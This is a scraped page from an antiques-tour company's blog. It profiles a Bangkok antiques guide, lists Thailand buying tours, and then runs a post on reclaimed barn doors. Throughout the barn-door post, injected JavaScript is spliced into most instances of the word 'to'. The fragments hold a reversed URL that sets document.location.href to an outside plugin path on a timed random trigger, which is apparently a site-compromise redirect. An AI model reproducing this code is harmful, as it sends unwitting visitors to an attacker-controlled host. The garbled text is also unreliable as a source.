Angela Somwalya Asia Antiques DivaChief Asian Diva Guide Angela Somwaiya has one of the most highly respected antiques shops in Bangkok, Paul’s Antiques, and over 20 years expertise sourcing Asian antiques. In fact, Angela is taking you to the many antique stores where she personally has been sourcing for her store. As one of the leading experts in Southeast Asian antiques, Angela’s design eye understands how to create a modern global mix with Asian and European antiques and art. Angela is an expert guide to sourcing Asian bespoke furniture makers using reclaimed teak, and how to up-cyle and repurpose found items.

Having lived in Thailand over 20 years, Angela delivers insider knowledge on buying and sourcing antiques in Asia. Angela collects antique textiles and jewelry, and has extensive knowledge on the subject as well as one of the best private textile collections in Thailand! Angela loves to share her passion and knowledge of Asia!

Handwoven Baskets on Antqiue Asian Furniture Antiques Diva Asia Buying Tours Thailand: Chiang MaiThe Antiques Diva & Co offers 4 private Thailand antique tours, custom Thailand combined with other Asian country itineraries are designed to meet our client’s needs:

  • Bangkok Antiques Tour
    Available 7 days a week
    One to Three Day Tour
    Ornate architectural salvage from temples and Thai homes as well as garden antiques such as Spirit Houses, benches, lanterns and other pieces can be found in abundance. When it comes to furniture, our Guide will take you to hidden sources where you’ll see Rattanakosin Period antique furniture, scripture cabinets, traditional Thai beds and tables, cabinets, mirrors, and Chinese furniture. For those who love decorative accessories, shop for red lacquer containers, betel boxes, hill-tribe weathered baskets, sturdy pottery, brass and wood carvings, and opium weights and tools. You’ll also find textiles, costumes, amulets, gems, and Thai jewelry, as well as antique handicrafts from the many villages surrounding Bangkok.
  • Chatuchak Market – Bangkok’s JJ Market Shopping Tour
    Available Saturday & Sunday
    Limited Availability Mid-Week Upon Request
    Full Day Tour
    Shopping the JJ Market without The Antiques Diva & Co simply put is a waste of your time. What To Buy? Everything, but our favorites include Thai Wooden Carvings, Burmese Antique Teak Furniture, Buddhist Manuscript boxes, Handwoven Hill Tribe Baskets, Theater Chairs, Shophouse Display Furniture, Antique Textiles and Art Prints, Architectural Remnants, Vintage Garden Furniture, Khmer Stone Carving, Retro Accessories and billions of Buddha heads (both tourist market reproductions as well as original period pieces). And while these aren’t antique we love them – Thai and Chinese silk and silk lanterns and lighting galore. Not to mention jewelry – both new and old – as well as fusion fashion.
  • Ayutthaya Antiques Tour
    Available Monday to Friday
    One-Day Tour
    The former capital of Siam, visit private houses and secret warehouses and hidden lanes in Ayutthaya stacked with architectural salvage. Go home inspired by an ancient culture long vanished. Similar to Louis 16th in France gaining his design inspiration from his visit to Pompeii, Ayuttaya allows you the opportunity to re-imagine the heritage left behind.
  • Chiang Mai Antiques Tour
    Available 7 days a week
    One to Three Day Tour
    From antique furniture and decorative accessories to architectural salvage and beyond, Chiang Mai is a magical place to source a variety of Asian antiques. Whether you’re looking to source small amulets or entire rice barns for architectural salvage, our Chiang Mai Antiques Buying Tour has a lot to offer.

Antiques Diva Asia Buying Tours Thailand: Chiang Mai

In addition, The Antiques Diva & Co offers Asian antique sourcing services for when your schedule does not allow Asian antique buying trips.

tip: To learn more about how to buy Asian antiques
Angela and I have an online course at MyAntiqueSchool: the 1st global course on how to buy antiques in Asia 

 

In my own home, I’m incorporating more Asian antiques with the European antiques I’ve long collected, and find they juxtapose beautifully with my distinctly modern home and art. I was beyond thrilled when my shipment from Asia arrived and I was able to mix in my new Asian antiques!

Mixing European and Asian Antiques with The Antiques Diva To book an Asia Antiques Buying Tour contact toma@antiquesdiva.com

Sawatdee,

Toma – The Antiques Diva

Architectural Salvage- Barn Door Trend

Dear Diva Readers,

One of our most popular requests is for architectural salvage. Whether clients are coming on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour or utilizing our Buying Services, we are constantly scouring Europe for all types of salvage and reclaimed materials. One trend that is very popular in the USA right now is the barn door—a type of sliding door you would typically find in a barn. But now people are using them in homes, restaurants, and hotels toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to divide spaces and add instant character and diva charm!

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Architectural Salvage- Barn Door Trend- Rounded DoorsAs with any design trend, the specifics of each project vary, but the overall concept remains the same. All you need are door track hardware and wheels, which you can find at many big box or hardware stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores (or even online), and a door of course! Here at The Antiques Diva & Co we recommend using a vintage or antique door toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make your project that much more special and unique. You can make this a DIY project or entrust it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your contractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, but be sure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to select a door and hardware that enhance your particular space. This look works great in a traditional setting as well as a contemporary room. It all depends on the door you choose—the age, patina, finish, color, and style will all play a part in how the overall project turns out. For a more modern look, why not choose an industrial door? For a casual feeling, opt for warm wood toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones with just the right about of wear.

Architectural Salvage- Barn Door Trend- Metal Door

Architectural Salvage- Barn Door Trend- Bookcase

We love taking clients toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to warehouses that are literally filled toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the brim with doors. Perusing row upon row of every type of door imaginable is always a thrill. We’ve seen some beautiful old church doors as well as tall imposing doors that once hung on hinges of great country houses and chateaus of Europe. Many of our sources have excellent workrooms where their craftsmen can help get your door (or any other architectural pieces you find) ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your specifications before shipping it. This means they can adjust the height, width, drill necessary holes for hardware, stain, paint, sand, and distress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your liking. We’ve even had pieces lacquered in Europe before having them shipped toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to clients across the pond.

Architectural Salvage- Barn Door Trend- Warehouse

Depending on the size of your space, you may want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consider using a pair of doors for your barn door project. It’s not uncommon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come upon a pair of matching doors that may have once been used as pocket doors or as double doors. Mounting them in the barn door style gives them a fresh life and what’s old can become new again. Another bonus is that older doors are often solid and made of the upmost quality. Think about it—if a door has been around for 100 years, it has proven that it can stand the test of time.

Architectural Salvage- Barn Door Trend- Double Door

If you would like more information on taking an Antiques Diva Buying Tour or if you’d like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn more about our Buying Services, email us at info@antiquesdiva.com. We’d love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear from you!

Creatively,

The Antiques Diva®